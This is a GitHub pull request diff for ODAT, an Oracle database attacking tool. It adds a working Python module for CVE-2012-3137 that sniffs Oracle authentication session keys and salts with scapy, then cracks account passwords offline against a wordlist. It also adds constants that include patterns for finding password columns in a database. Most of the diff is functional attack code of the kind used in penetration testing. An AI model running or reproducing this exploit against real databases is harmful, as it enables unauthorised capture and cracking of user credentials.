Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

sids.txt update #6

Closed
wants to merge 89 commits into from
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
89 commits
Select commit Hold shift + click to select a range
cd78337
First Commit: Project ODAT
quentinhardy Jun 25, 2014
bc2f6ae
First Commit: Project ODAT
quentinhardy Jun 25, 2014
794c199
First Commit: Project ODAT
quentinhardy Jun 25, 2014
9c5f323
First Commit: Project ODAT
quentinhardy Jun 25, 2014
32c67a9
First Commit: Project ODAT
quentinhardy Jun 25, 2014
aa94204
First Commit: Project ODAT
quentinhardy Jun 25, 2014
f269ce5
Add a picture : main features
quentinhardy Jun 25, 2014
c569b13
Add Usage examples
Jun 26, 2014
18d4184
Add Usage examples
Jun 26, 2014
d43a45f
updates
Jun 26, 2014
ac24be5
Update
quentinhardy Jun 28, 2014
6b2bf46
Add .gitignore
puckel Jul 16, 2014
c4c0b28
Add Docker file
puckel Jul 16, 2014
3b2eca7
Update README.md
puckel Jul 16, 2014
0a28a0d
Merge pull request #2 from puckel/master
quentinhardy Jul 19, 2014
a3a1a27
Bug fix "Error: getenv no longer supported, use properties and -D ins…
quentinhardy Jul 19, 2014
15f037a
Add the module DBMS_LOB to the odat menu
quentinhardy Jul 28, 2014
d966bb1
New module: DBMS_LOB in order to download files
quentinhardy Jul 28, 2014
6501f0b
Version 1.0 to 1.1 in the odat help
quentinhardy Jul 28, 2014
820760e
Delete DBMS_LOB from the TODO
quentinhardy Jul 28, 2014
c464052
Add information about DBMS_LOB in the README
quentinhardy Jul 28, 2014
50e5dc1
x86_64 binary with the DBMS_LOB module (version 1.1)
quentinhardy Jul 28, 2014
6a592c2
update CHANGELOG
quentinhardy Jul 28, 2014
79713b0
x86 binary with the DBMS_LOB module (version 1.1)
quentinhardy Jul 28, 2014
29a0e1b
Version 1.1 of the ODAT features schema
Aug 1, 2014
2c9578b
Merge remote-tracking branch 'origin/master'
Aug 1, 2014
da12cfc
Delete unused functions
Aug 3, 2014
ce55981
A new module: SMB authentication capture
Aug 3, 2014
ab3e5d0
Add an option to see PL/SQL requests executed on the database
Aug 4, 2014
7767ea2
add a SMB module to capture a SMB authentication
Aug 4, 2014
01e0007
add new modules
Aug 4, 2014
9589036
Bug fix: Solaris detected as a Linux now
Aug 12, 2014
e97ae32
Print Oracle database 10g hashed passwords for compatibility with joh…
Aug 12, 2014
a290c46
Bug fix
Aug 12, 2014
6e4a719
Capture an exception
Aug 12, 2014
c4c715e
CVE-2012-313 ==> CVE-2012-3137 in the command line
Aug 12, 2014
4c08e52
Delete a print
Aug 17, 2014
a84454a
Bug fix
Aug 17, 2014
35418de
Standalones moved to https://github.com/quentinhardy/odat-standalones
quentinhardy Aug 30, 2014
0398cba
Fix a mistake in instalation explanations
quentinhardy Aug 30, 2014
88859ef
Update the createALinuxBinary.sh file to fix bug when there is not bu…
quentinhardy Aug 30, 2014
af1e8d4
Updtate the version constant
Oct 7, 2014
71b57e0
add the getAccountsFromFile function
Oct 7, 2014
f871c4c
add the runTnsCmdModule function
Oct 7, 2014
d2df822
Add the -C option in the all module. It can be used to use a credenti…
Oct 7, 2014
7ea88d5
add TNS ping, status and version
Oct 7, 2014
d238e30
version 1.3
Oct 7, 2014
8d5782e
fix a mistake
Oct 7, 2014
27f08ed
Now, Name server can be given to the *-s* command
Oct 8, 2014
a2d5cc0
bug fix: name server can be given to the -s option
Oct 8, 2014
54bcf7c
spelling mistake
Oct 14, 2014
becb028
delete a print
Oct 14, 2014
1290e31
Merge branch 'master' of https://github.com/quentinhardy/odat
Oct 14, 2014
cfcbd14
Update README.md
JukArkadiy Oct 21, 2014
e3215fb
No error when python scapy is not installed
Oct 21, 2014
ad25dae
Check if pyinstaler is installed
Oct 21, 2014
c43053c
Merge pull request #3 from JukArkadiy/patch-1
quentinhardy Oct 21, 2014
c6b6c7c
Odat bin as an option
Nov 6, 2014
bdc023a
Catch a new error: Unable to acquire Oracle environment handle
Nov 6, 2014
0ead3ac
Delete a var
Nov 6, 2014
4ba9cc6
Now, by default, ODAT checks if the CVE-2012-3137 is exploitable (tha…
Nov 10, 2014
f002c0b
Update README.md
quentinhardy Nov 17, 2014
09c5ae7
Fix the error "AttributeError: 'list' object has no attribute 'decode'"
Dec 1, 2014
1b13e3c
FIX many False positive :) Detect errors with ORA code only (ex: ORA-…
Dec 3, 2014
aab7950
Update the version
Dec 7, 2014
6d695b1
Merge branch 'master' of https://github.com/quentinhardy/odat
Dec 7, 2014
c0ab17d
Information about new version
Dec 7, 2014
6b96645
update information about standalone
Dec 7, 2014
4155577
New default password for user SYSTEM
Feb 24, 2015
347f14f
New accounts
Feb 24, 2015
bf3c9cf
Move accounts files
Feb 24, 2015
512035b
New module to search in columns
Mar 17, 2015
9f8552e
Improvements
Mar 17, 2015
eb0a31b
Updates
Mar 31, 2015
52497a2
Add an element in the TODO list
Mar 31, 2015
b704d85
Test upper case and lower case of passwords (ex: SYS/sys and SYS/SYS …
Jul 6, 2015
35d6666
New module to detect if target is vulnerable to TNS poisoning (CVE-20…
Jul 9, 2015
611834b
Version 1.6
Jul 9, 2015
952fa00
new module named unwrapper
Jul 15, 2015
cfc2540
-vv in help menu now
Jul 27, 2015
5585600
Update sids.txt
Lexus89 Nov 19, 2015
490ffb5
Merge pull request #1 from Lexus89/Lexus89-sids-update
Lexus89 Nov 19, 2015
2247595
Update Constants.py
Lexus89 Nov 19, 2015
b1d835d
Update accounts.txt
Lexus89 Nov 19, 2015
573a031
Update odat.py
Lexus89 Nov 19, 2015
d2b2948
Update odat.py
Lexus89 Nov 19, 2015
6f37771
Update SIDGuesser.py
Lexus89 Nov 19, 2015
66471a2
Update Constants.py
Lexus89 Nov 19, 2015
558d072
Update Utils.py
Lexus89 Nov 19, 2015
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
10 changes: 10 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
# Created by http://www.gitignore.io

### vim ###
[._]*.s[a-w][a-z]
[._]s[a-w][a-z]
*.un~
Session.vim
.netrwhist
*~
*.rpm
298 changes: 298 additions & 0 deletions CVE_2012_3137.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,298 @@
#!/usr/bin/python
# -*- coding: utf-8 -*-

import logging, string, re, sys
from Utils import execSystemCmd, checkOptionsGivenByTheUser, anAccountIsGiven
from OracleDatabase import OracleDatabase
from time import sleep
import hashlib
from Crypto.Cipher import AES
from threading import Thread
from progressbar import *
from os import geteuid
from Constants import *

#Load scapy without warnings
tempout = sys.stdout; temperr = sys.stderr
sys.stdout = open('/dev/null', 'w'); sys.stderr = open('/dev/null', 'w')
try:
from scapy.layers.inet import IP
from scapy import all as scapyall #sniff, IP, Raw
SCAPY_AVAILABLE = True
except ImportError:
SCAPY_AVAILABLE = False
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
sys.stdout = tempout; sys.stderr = temperr
if SCAPY_AVAILABLE == False :
logging.warning('You need to install python scapy if you want to use the CVE_2012_3137 module !')

class CVE_2012_3137 ():
'''
CVE-2012-3137 : to get remote passwords thanks to nmap
'''

sessionKey, salt = "", ""

def __init__(self, args, accountsFile=None, timeSleep=0):
'''
Constructor
'''
logging.debug("CVE_2012_3137 object created")
self.MAX_PACKET_TO_CAPTURE=200
self.TIMEOUT=5
self.args=args
self.accountsFile = accountsFile
self.timeSleep = timeSleep
self.usernames = []
if self.accountsFile != None : self.loadUsernames()
self.keys = []
self.passwdFound = []
self.separator = "|<->|"

def __resetSessionKeyValueAndSalt__(self):
'''
'''
global sessionKey, salt
sessionKey, salt = "", ""
logging.debug('Session key and salt are now emply')

def getKeys(self):
'''
return keys
'''
return self.keys

def loadUsernames (self,separator = '/'):
'''
load usernames from self.accountsFile
'''
logging.info ("Loading usernames stored in {0}".format(self.accountsFile))
f = open(self.accountsFile)
for l in f:
nl = l.replace('\n','').replace('\t','').split('/')
self.usernames.append(nl[0])
f.close()

def __sniff_sessionkey_and_salt__(self,ip=None,port=None):
'''
To sniff the session key and the salt in an Oracle connection thanks to scapy
'''
def customAction(packet):
global sessionKey, salt
if packet[0].haslayer(IP)==True and packet[1].src == ip :
#print packet.show()
if packet[2].haslayer(scapyall.Raw)==True:
raw = repr(packet[2].getlayer(scapyall.Raw).load)
if "AUTH_SESSKEY" in raw and "AUTH_VFR_DATA" in raw:
sessionKey = re.findall(r"[0-9a-fA-F]{96}" ,raw[raw.index("AUTH_SESSKEY"):raw.index("AUTH_VFR_DATA")])
if sessionKey != [] :
sessionKey = sessionKey[0]
logging.info ("We have captured the session key: {0}".format(sessionKey))
try : authVFRindex = raw.index("AUTH_VFR_DATA")
except : logging.warning("The following string doesn't contain AUTH_VFR_DATA: {0}".format(raw))
else:
try: authGloIndex = raw.index("AUTH_GLOBALLY_UNIQUE_DBID")
except : logging.warning("The following string doesn't contain AUTH_GLOBALLY_UNIQUE_DBID: {0}".format(raw))
else:
salt = re.findall(r"[0-9a-fA-F]{22}" ,raw[authVFRindex:authGloIndex])
if salt != [] :
salt = salt[0][2:]
logging.info ("We have captured the salt: {0}".format(salt))
finally:
return True
return False
self.__resetSessionKeyValueAndSalt__()
#print "Run with tcp and host {0} and port {1}".format(ip,port)
scapyall.sniff(filter="tcp and host {0} and port {1}".format(ip,port), count=self.MAX_PACKET_TO_CAPTURE, timeout=self.TIMEOUT, stop_filter=customAction,store=False)
return sessionKey, salt

def __try_to_connect__(self, args):
'''
Establish a connection to the database
'''
import cx_Oracle
try:
connectString = "{0}/{1}@{2}:{3}/{4}".format(self.args['user'], 'aaaaaaa', self.args['server'], self.args['port'], self.args['sid'])
logging.debug("Connecting with {0}".format(connectString))
cx_Oracle.connect(connectString)
except Exception, e:
pass

def getAPassword(self,user):
'''
'''
logging.debug("Sniffing is running in a new thread")
a = Thread(None, self.__sniff_sessionkey_and_salt__, None, (), {'ip':self.args['server'],'port':self.args['port']})
a.start()
logging.debug("Waiting 3 seconds")
sleep(3)
logging.debug("Connection to the database via a new thread with the username {0}".format(self.args['user']))
b = Thread(None, self.__try_to_connect__, None, (), {'args':self.args})
b.start()
b.join()
a.join()
return "",""


def getPasswords(self):
'''
get passwords
'''
logging.info ("Getting remote passwords of {0} users".format(len(self.usernames)))
pbar,nb = ProgressBar(widgets=['', Percentage(), ' ', Bar(),' ', ETA(), ' ',''], maxval=len(self.usernames)).start(), 0
for user in self.usernames:
logging.info("Try to get the session key and salt of the {0} user".format(user))
self.getAPassword(user)
nb += 1
pbar.update(nb)
if sessionKey != '' and salt != '':
key = "{0}{3}{1}{3}{2}".format(user,sessionKey, salt,self.separator)
self.keys.append(key)
logging.debug("Key found: {0}".format(key))
sleep(self.timeSleep)
pbar.finish()

def __decryptKey__(self, session, salt, password):
'''
'''
pass_hash = hashlib.sha1(password+salt)
key = pass_hash.digest() + '\x00\x00\x00\x00'
decryptor = AES.new(key,AES.MODE_CBC,'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')
plain = decryptor.decrypt(session)
return plain

def decryptKeys(self, sessionFile, passwdFile):
'''
decrypt keyx
'''
#Nb sessions
fsession, nbsession = open(sessionFile), 0
for l in fsession: nbsession+=1
fsession.close()
logging.info("{0} sessions in the {1} file".format(nbsession,sessionFile))
#Nb Passwds
fpasswds, nbpasswds = open(passwdFile), 0
for l in fpasswds: nbpasswds+=1
fpasswds.close()
logging.info("{0} passwords in the {1} file".format(nbpasswds,passwdFile))
if nbpasswds == 0 :
logging.critical("No password in the {0} file".format(passwdFile))
return []
elif nbsession == 0:
logging.critical("No session in the {0} file".format(sessionFile))
return []
else :
fsession = open(sessionFile)
for session in fsession:
user, session_hex, salt_hex = session.replace('\n','').replace('\t','').split(self.separator)
self.args['print'].subtitle("Searching the password of the {0} user".format(user))
fpasswd = open(passwdFile)
pbar,nb = ProgressBar(widgets=['', Percentage(), ' ', Bar(),' ', ETA(), ' ',''], maxval=nbpasswds).start(), 0
for password in fpasswd:
nb +=1
pbar.update(nb)
password = password.replace('\n','').replace('\t','')
session_id = self.__decryptKey__(session_hex.decode('hex'),salt_hex.decode('hex'),password)
if session_id[40:] == '\x08\x08\x08\x08\x08\x08\x08\x08':
self.passwdFound.append([user,password])
self.args['print'].goodNews("{0} password:{1}".format(user,password))
fpasswd.close()
break
fpasswd.close()
pbar.finish()
fsession.close()
return self.passwdFound

def isVulnerable (self, user, password):
'''
Capture the challenge with the login and tries to recover the password with password
Return True if the remote database is vulnerable
Return False if not vulnerable.
Return an error if an error.
'''
global sessionKey, salt
logging.info("Try to know if the database server is vulnerable to the CVE-2012-3137")
sessionKey, salt = "", ""
self.getAPassword(user)
logging.info("The challenge captured for the user {0}: key='{1}', salt='{2}'".format(user, sessionKey, salt))
if sessionKey != '' and salt != '' and sessionKey != [] and salt != []:
session_id = self.__decryptKey__(sessionKey.decode('hex'),salt.decode('hex'),password)
if session_id[40:] == '\x08\x08\x08\x08\x08\x08\x08\x08':
logging.info ("The database is vulnerable! Indeed, the result is good when you use the password '{0}' to decrypt the key '{1}' of the user {2} with the salt '{3}'".format(password, sessionKey, user, salt))
return True
else:
logging.info ("The password {0} is not used in the challenge of the user {1}. Consequently, not vulnerable".format(password, user))
return False
else:
logging.info ("The challenge captured is empty")
return False

def testAll (self):
'''
Test all functions
'''
self.args['print'].subtitle("Vulnerable to the CVE-2012-3137 ?")
#self.args['print'].unknownNews("I can't know if it is vulnerable")
if self.args.has_key('user') == False or self.args.has_key('password') == False or self.args['user'] == None or self.args['password'] == None :
self.args['print'].unknownNews("Impossible to know if the database is vulnreable to the CVE-2012-3137.\nYou need to give VALID credentials on the database (-U and -P). Otherwise, the tool can't know if the database is vulnerable...")
else:
if 1==1:
if geteuid() != 0:
self.args['print'].unknownNews("Impossible to know if the database is vulnreable to the CVE-2012-3137. You need to run this as root because it needs to sniff authentications to the database")
else:
vulneable = self.isVulnerable (self.args['user'], self.args['password'])
if vulneable == True:
self.args['print'].goodNews("OK")
elif vulneable == False:
self.args['print'].badNews("KO")
else:
self.args['print'].badNews("There is an error {0}".format(vulnerable))
'''
if geteuid() != 0:
args['print'].badNews("Sorry, you need to run this as root because I need to sniff authentications to the database")
else:
args['print'].info("Getting remote passwords on the {0} server, port {1}".format(self.args['server'],self.args['port']))
'''

def runCVE20123137Module(args):
'''
Run the CVE_2012_3137 module
'''
if checkOptionsGivenByTheUser(args,["test-module","get-all-passwords","decrypt-sessions"],checkAccount=False) == False : return EXIT_MISS_ARGUMENT
cve = CVE_2012_3137 (args, accountsFile=args['user-list'], timeSleep=args['timeSleep'])
if args['test-module'] == True :
cve.testAll()
#Option 1: get all passwords
if args['get-all-passwords'] != None:
print
if geteuid() != 0:
args['print'].badNews("Sorry, you need to run this as root because I need to sniff authentications to the database")
else:
args['print'].title("Getting remote passwords on the {0} server, port {1}".format(args['server'],args['port']))
cve.getPasswords()
keys = cve.getKeys()
if keys != []:
args['print'].goodNews("Here are keys:\n\n{0}".format('\n'.join(keys)))
filename = "sessions-{0}-{1}-{2}{3}".format(args['server'],args['port'],args['sid'],CHALLENGE_EXT_FILE)
f = open(filename,"w")
f.write('\n'.join(keys))
f.close()
args['print'].goodNews("Sessions strored in the {0} file.".format(filename))
else :
args['print'].badNews("Impossible to exploit this vulnreability")
#Option 2: decrypt sessions
if args['decrypt-sessions'] != None:
args['print'].title("Decrypt sessions stored in {0} via {1}".format(args['decrypt-sessions'][0],args['decrypt-sessions'][1]))
passwds = cve.decryptKeys(args['decrypt-sessions'][0], args['decrypt-sessions'][1])
if passwds != []:
passwordsStr = ""
for e in passwds :
passwordsStr +='{0}:{1}\n'.format(e[0],e[1])
args['print'].goodNews("Accounts found:\n{0}".format(passwordsStr))
else:
args['print'].badNews("No password has been found")





52 changes: 52 additions & 0 deletions Constants.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,52 @@
# -*- coding: utf-8 -*
import string

DESCRIPTION = ""\
"""
_ __ _ ___
/ \| \ / \|_ _|
( o ) o ) o || |
\_/|__/|_n_||_|
-------------------------------------------
_ __ _ ___
/ \ | \ / \ |_ _|
( o ) o ) o | | |
\_/racle |__/atabase |_n_|ttacking |_|ool
-------------------------------------------

By Quentin Hardy ([email protected] or [email protected])
"""
CURRENT_VERSION = "Version 1.6 - 2015/07/14"
DEFAULT_SID_MIN_SIZE = 1
DEFAULT_SID_MAX_SIZE = 2
MAX_HELP_POSITION=60
DEFAULT_SID_FILE = "sids.txt"
DEFAULT_ACCOUNT_FILE = "accounts/accounts.txt"
DEFAULT_TIME_SLEEP = 0
DEFAULT_SID_CHARSET = string.ascii_uppercase
EXIT_NO_SIDS = 100
EXIT_NO_ACCOUNTS = 101
EXIT_BAD_CONNECTION = 102
EXIT_BAD_CMD_PARAMETER = 103
EXIT_MISS_ARGUMENT = 104
EXIT_MISS_MODULE = 105
ALL_IS_OK=0
TIMEOUT_VALUE = 5
PASSWORD_EXTENSION_FILE = ".odat.save"
CHALLENGE_EXT_FILE = ".odat.challenge"
SHOW_SQL_REQUESTS_IN_VERBOSE_MODE = False
MAX_WIDTH_TEXTTABLES = 120
DEFAULT_ENCODING = 'utf8'
#SEARCH module
PATTERNS_COLUMNS_WITH_PWDS = [
'%mdp%',
'%pwd%',
'%pass%',
"%contraseña%",
"%clave%",
"%chiave%",
"%пароль%",
"%wachtwoord%",
"%hasło%",
"%senha%",
]
Loading